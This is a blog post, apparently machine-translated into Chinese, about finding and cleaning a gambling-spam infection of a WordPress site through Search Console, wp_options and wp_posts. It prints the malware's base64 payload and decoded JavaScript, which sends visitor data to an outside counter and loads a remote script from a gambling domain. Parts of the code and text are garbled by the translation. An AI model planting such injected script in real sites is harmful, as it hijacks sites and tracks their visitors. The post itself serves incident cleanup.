There is no item in your cart
這就是我發現我的網站被駭客入侵,並被用來在我的網域下超過 14000 個網址上散佈賭博廣告的故事。
經過三個小時的調查和與 ChatGPT 的討論,我終於找到了惡意軟體並將其清除。以下是我如何發現問題、追蹤了哪些線索,以及如果你遇到類似情況該如何著手尋找。
一切都始於一封來自谷歌搜尋控制台的奇怪郵件。
我的網站已經在Google搜尋控制台註冊了一段時間了,所以收到他們的郵件並不奇怪。
但這次的郵件卻不一樣,它說一個陌生的郵箱地址被添加為我網站的所有者。
我當時就震驚了。 這怎麼可能? !
我登入了搜尋控制台,並迅速刪除了該用戶。
然後我開始思考: 怎麼會有人隨意地把自己加為擁有者呢?
這時我才想起來,當初我是怎麼驗證網站的:我把一個谷歌驗證的HTML檔案上傳到了主機根目錄。於是我打開FTP伺服器,結果發現…裡面居然有 兩個身份驗證文件, 而不是一個。
我確認哪個是我的,然後把另一個刪掉了。
我更改了所有密碼,刪除了所有 FTP 用戶,創建了使用強密碼的新用戶,以為一切都解決了。
幾週後,我再次登入 Search Console,只是想查看一下效果。
然後我注意到一則「建議」:『某頁最近的展示次數比平常多』。
我點擊了它,看到了這個網址:(
/top-10-goksites/ 荷蘭語,意為「十大賭博網站」)。
那時我就知道情況非常不妙。
我打開 網站地圖 部分,發現新增了一個條目,那肯定不是我寫的:
/index.php?feed=xmlsitemap2501
Google顯示 已索引頁面有 14,401 個。
我打開網站地圖,發現裡面全是推廣賭博的網址和可疑連結。
更糟的是──我點擊其中一個連結後,它居然真的 能用!
頁面加載出來,竟然是一個完整的賭博網站—— 而且還是在我的網域下! 顏色、按鈕、「立即註冊」橫幅…應有盡有。
我開始恐慌起來。
在與 ChatGPT 進行了一些交流之後(他給了我一些尋找方向的可靠線索),我開始深入研究。
我檢查了檔案目錄,包括 `/etc/` /uploads/、 `/etc/`/themes/和 /plugins/`/etc/`。在那裡,我找到了問題的第一部分:子主題中的一個名為 `.htm` 的檔案 functions-client.php。該文件中的腳本允許任何人上傳伺服器上的任何檔案。我立即將其刪除。
搜尋資料庫 ChatGPT 後,建議檢查 wp_options 表中是否有可疑的長條目。我執行了以下查詢
SELECT option_name, LENGTH(option_value) FROM wp_options WHERE autoload = 'yes' ORDER BY LENGTH(option_value) DESC LIMIT 10;
然後,我突然發現了一個巨大的加密條目。
我複製了這段程式碼 option_value,把它貼到 Base64 解碼器裡(因為駭客經常用這種方式隱藏惡意軟體),然後……找到了。
惡意軟體。 隱藏在我的資料庫深處。這感覺很詭異,但終於找到點什麼
,也讓我鬆了一口氣 。
我發現的惡意軟體是這樣的:
a:1:{i:2501;a:4:{s:2:"js";s:1100:"<script src="data:text/javascript;base64,bmV3IEltYWdlKCkuc3JjID0gIi8vY291bnRlci55YWRyby5 ydS9oaXQ7Y3Nubmw/+Ijtkb2N1bWVudC53cml0ZShkaGlDUWVxc3V6K3hVTWhxVmJSdVgrS25XTVZta3 ZSRCtGU2hlbUtRdEVSKTs="></script>";s:15:"sitemapsettings";a:1:{s:17:"sitemap2501\.xml$";s:29:"index.php?feed=xmlsite:2501";}s:4:29:"index.php?feed=xmlsite:2501";}s:4:0no;"};
解碼後,它變成了這樣:
new Image().src = "//counter.yadro.ru/hit;csnnl?r"+
escape(document.referrer)+((typeof(screen)=="undefined")?"):
";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
";"+Math.random();
document.addEventListener("DOMContentLoaded", function (event) {
var bodyNode = document.getElementsByTagName('body')[0];
如果 (bodyNode) {
bodyNode.remove();
}
});
var dhiCQeqsuz="<script type=\"text/javascript\" language=\"JavaScript\" ";var xUMhqVbRuX="src=\"//gamblersrules.com/";var KnWMVmkvRD="csnnl.js?ref="+encodeURI(document.URL)+"&title="+encodeURI(document.title)+"&httpref="+en="codeURI(document.referrer)+"\";var </script>";document.write(dhiCQeqsuz+xUMhqVbRuX+KnWMVmkvRD+FShemKQtER);
我刪除了那筆資料庫記錄。
之後,當我打開其中一個賭博網站的網址時,我發現了一些變化:
CSS樣式和圖片都消失了,但 賭博內容的文字 仍然存在。
我可以看到我自己的頁眉和頁腳——這意味著被盜用的內容來自其他地方。
原來那個「其他地方」就是那張 wp_posts 表格。
每一個假頁面其實都是駭客創建的WordPress文章。
而且它們的作者ID都是2501,和我之前在網站地圖URL中看到的數字一樣。
一個簡單的 SQL 指令:
DELETE FROM wp_posts WHERE post_author = 2501;
……然後,砰的一聲,所有頁面都消失了。
現在我開啟任何舊網址,都會顯示標準的 404 未找到錯誤。
垃圾郵件已經消失了。
勝利! ! !
接下來會發生什麼事?
現在我只需要等待谷歌抓取所有舊網址,並查看它們是否返回 404 錯誤,以便將它們從搜尋結果中移除。
說實話,這真是一次瘋狂的經歷,但慢慢奪回控制權,一步一步摧毀所有惡意軟體,也讓人超級滿足。
如果您發現網域名稱出現異常 URL 或流量激增,請檢查您的網站地圖、wp_options 表和 uploads 資料夾。
您或許能在那裡發現一些問題。
但是: 還沒弄清楚自己是怎麼被駭的,所以這種情況還會繼續發生,直到你找到原因。大多數情況下,這是因為使用了老舊、過時、廢棄或破解的插件。

